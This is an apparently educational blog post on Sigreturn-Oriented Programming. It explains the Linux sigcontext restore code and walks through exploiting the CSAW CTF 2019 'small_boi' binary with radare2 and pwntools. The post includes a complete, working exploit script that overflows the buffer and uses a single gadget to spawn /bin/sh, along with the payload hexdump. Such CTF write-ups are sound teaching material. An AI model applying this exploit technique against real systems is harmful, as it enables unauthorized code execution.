SROP Exploitation with radare2

r2 radare2 rop exploitation ctf

Recently I’ve discovered a paper that demonstrates a fancy ROP-style exploitation technique for Linux based systems. It’s called Sigreturn-oriented programming (SROP) and was released by two dudes of the Vrije Universiteit Amsterdam in 2014. This post contains background information on this exploitation technique and shows how to pull it off using radare2 and pwntools.

Sigreturn-Oriented Programming

The cool thing about this technique is that only one or two gadgets are required in order to get control over all registers of the target process. Two preconditions have to be met:

  1. A syscall gadget is available at a predictable location
  2. There’s a way to set the RAX register to 0xF

SROP abuses the sigreturn() syscall which normally restores the process context after a signal handler returns. There’s a great article on LWN that explains this really well - I have nothing to add here (and I’m lazy) so I’ll just cite two paragraphs of this article by Jonathan Corbet:


Enter sigreturn() , a Linux system call that nobody calls directly. When a signal is delivered to a process, execution jumps to the designated signal handler; when the handler is done, control returns to the location where execution was interrupted. Signals are a form of software interrupt, and all of the usual interrupt-like accounting must be dealt with. In particular, before the kernel can deliver a signal, it must make a note of the current execution context, including the values stored in all of the processor registers.

It would be possible to store this information in the kernel itself, but that might make it possible for an attacker (of a different variety) to cause the kernel to allocate arbitrary amounts of memory. So, instead, the kernel stores this information on the stack of the process that is the recipient of the signal. Prior to invoking the signal handler, the kernel pushes an (architecture-specific) variant of the sigcontext structure onto the process’s stack; this structure contains register information, floating-point status, and more. When the signal handler has completed its job, it calls sigreturn() , which restores all that information from the on-stack structure.


Ok cool!

The fact that the sigcontext structure is being passed to the kernel on the stack makes it easy for attackers to send their own sigcontext along with the remaining payload. Let’s have a look the kernel source code to check what’s going on in detail when pulling this attack off.

The definition of the amd64 version of sigcontext is present in this source code file of the kernel:

struct sigcontext_64 {
    __u64   r8;
    __u64   r9;
    __u64   r10;
    __u64   r11;
    __u64   r12;
    __u64   r13;
    __u64   r14;
    __u64   r15;
    __u64   di;
    __u64   si;
    __u64   bp;
    __u64   bx;
    __u64   dx;
    __u64   ax;
    __u64   cx;
    __u64   sp;
    __u64   ip;
    __u64   flags;
    __u16   cs;
    __u16   gs;
    __u16   fs;
    __u16   ss;
    __u64   err;
    __u64   trapno;
    __u64   oldmask;
    __u64   cr2;
    __u64   fpstate;
    __u64   reserved1[8];
};

When executing sigreturn(), the function restore_sigcontext() will be eventually be called in the kernel. The implementation can be found here. This is the function prototype:

static int restore_sigcontext(struct pt_regs *regs,
                              struct sigcontext __user *usc,
                              unsigned long uc_flags)

The usc value is a pointer to the user-supplied sigcontext structure that will be copied to kernel-land at the beginning of the function:

struct sigcontext sc;
[...]
if (copy_from_user(&sc, usc, CONTEXT_COPY_SIZE))
    return -EFAULT;

As you can see below, the kernel takes the values of sc and just copies them to the registers:

[...]
regs->bx = sc.bx;
regs->cx = sc.cx;
regs->dx = sc.dx;
regs->si = sc.si;
regs->di = sc.di;
regs->bp = sc.bp;
regs->ax = sc.ax;
regs->sp = sc.sp;
regs->ip = sc.ip;
[...]

Now imagine an attacker passing a prepared sigcontext structure to the kernel while exploiting a certain application. After sigreturn() has finished, the instruction pointer is under control of the attacker. But as you can see, other registers like the stack pointer have also been overwritten and there’s no direct way for the attacker to reliably restore this information. In consequence, there are now two possible options for an attacker:

OK BUT HOW!!1!

This time the target application will be small_boi, a CTF challenge from the CSAW CTF 2019 qualification round. The binary is available over here.

Now, let’s use radare2 from git and check the binary first:

[0x0040018c]> i
type     EXEC (Executable file)
arch     x86
bintype  elf
bits     64
canary   false
pic      false
static   true

The binary is not position independent and we can therefore predict the addresses of ROP gadgets. Apart from the entry point, there’s only one function present in the binary:

[0x0040018c]> pdf
            ; CALL XREF from entry0 @ 0x4001b6
            ;-- rip:
┌ 33: fcn.0040018c ();
│           ; var int64_t var_20h @ rbp-0x20
│           0x0040018c      55             push rbp
│           0x0040018d      4889e5         mov rbp, rsp
│           0x00400190      488d45e0       lea rax, [var_20h]
│           0x00400194      4889c6         mov rsi, rax
│           0x00400197      4831c0         xor rax, rax
│           0x0040019a      4831ff         xor rdi, rdi
│           0x0040019d      48c7c2000200.  mov rdx, 0x200
│           0x004001a4      0f05           syscall
│           0x004001a6      b800000000     mov eax, 0
│           0x004001ab      5d             pop rbp
└           0x004001ac      c3             ret

[0x0040018c]> .afvd var_20h
0x7ffc881ef7b8 = (qword)0x0000000000000000

The application invokes the read() syscall (0x0) with a file descriptor value of 0, which is equivalent to stdin. According to the other parameters, it reads 0x200 bytes into the var_20h buffer.

Hint: Using this table is a convenient way to check syscall numbers and their implementation.

Now let’s determine when the suspected buffer overflow happens. The binary reads from stdin, so the best way to pass input to the target is by using a rarun2 profile:

cat > profile.rr2 << EOF
#!/usr/bin/rarun2
program=./small_boi
stdin=/tmp/in
EOF

Now fill the input file with a ragg2 pattern, launch r2 and continue until the crash happens:

r2 -A -r profile.rr2 -c "dc" -d small_boi
[0x004001ac]> pd1
│           ;-- rip:
└           0x004001ac  c3  ret
[0x004001ac]> pxw 4@rsp
0x7ffc4f332fb0  0x414f4141  AAOA
[0x004001ac]> wopO 0x414f4141
40

The crash happens at a ret instruction. The offset can be determined by passing the topmost value of the stack to wopO, which works with the ragg2 pattern.

Considering that small_boi is a static binary and relatively small, not many ROP gadgets are available. However, one specific gadget can be of use for SROP:

[0x0040018c]> /R
  [...]
  0x00400180         b80f000000  mov eax, 0xf
  0x00400185               0f05  syscall
  0x00400187                 90  nop
  0x00400188                 5d  pop rbp
  0x00400189                 c3  ret
  [...]

This is the only gadget required, since it sets EAX to the syscall number of sigreturn() and also invokes the syscall afterwards. The only thing left is to append a sigcontext structure at the end of the payload. The plan is to call execve() with the argument /bin/sh. This specific string is already present in the target binary at 0x004001CA.

The pwntools framework has some functionality for SROP and also provides a way to generate the sigcontext structure. The implementation can be found here and it can be integrated into our exploit as follows:

#!/usr/bin/env python3

from pwntools_r2 import *
from pwn import *

context.terminal = ['tmux', 'splitw', '-v']
context.arch = "amd64"

r2script = """
#r2.cmd('aaa')
#r2.cmd('db fcn.0040018c')
#r2.cmd('dc')
#r2.cmd('V!')
"""

frame = SigreturnFrame()
frame.rax = 0x3b # execve syscall number
frame.rdi = 0x004001ca # address of /bin/sh string
frame.rip = 0x00400185 # syscall gadget

payload = b""
payload += b"A" * 40 # offset
payload += p64(0x00400180) # invoke SROP
payload += bytes(frame) # append sigcontext

p = r2dbg('./small_boi', r2script=r2script)
p.sendline(payload) # Send the target payload

p.interactive()

This causes RIP to point to the SROP invocation gadget after the ret happens. This is how the whole payload looks like in a hexdump:

00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00000020  41 41 41 41 41 41 41 41  80 01 40 00 00 00 00 00  |AAAAAAAA..@.....|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000090  00 00 00 00 00 00 00 00  ca 01 40 00 00 00 00 00  |..........@.....|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000000c0  3b 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |;...............|
000000d0  00 00 00 00 00 00 00 00  85 01 40 00 00 00 00 00  |..........@.....|
000000e0  00 00 00 00 00 00 00 00  33 00 00 00 00 00 00 00  |........3.......|
000000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000120  00 00 00 00 00 00 00 00                           |........|
00000128

Here you can recognize the values that have been set for the frame variable in the Python code above. One additional value is present at the end: 0x33. It’s the value of the CS register which basically sets the CPU in 64 bit mode. This is one of the reasons why the target architecture has to be specified before creating a SigreturnFrame object with pwntools.

Here’s what the exploitation looks like, starting from the execution of the vulnerable function. Also notice how the register values change after the syscall instruction of the SROP gadget:

SROP

Thanks for reading, now go and wash your hands

MemLabs: An Introduction To Memory Forensics

forensics ctf volatility

Fuzzing A GameBoy Emulator With AFL++

fuzzing reversing exploitation

Exploiting A Use-After-Free With radare2 - CTF Challenge

ctf reversing exploitation r2 radare2 cutter heap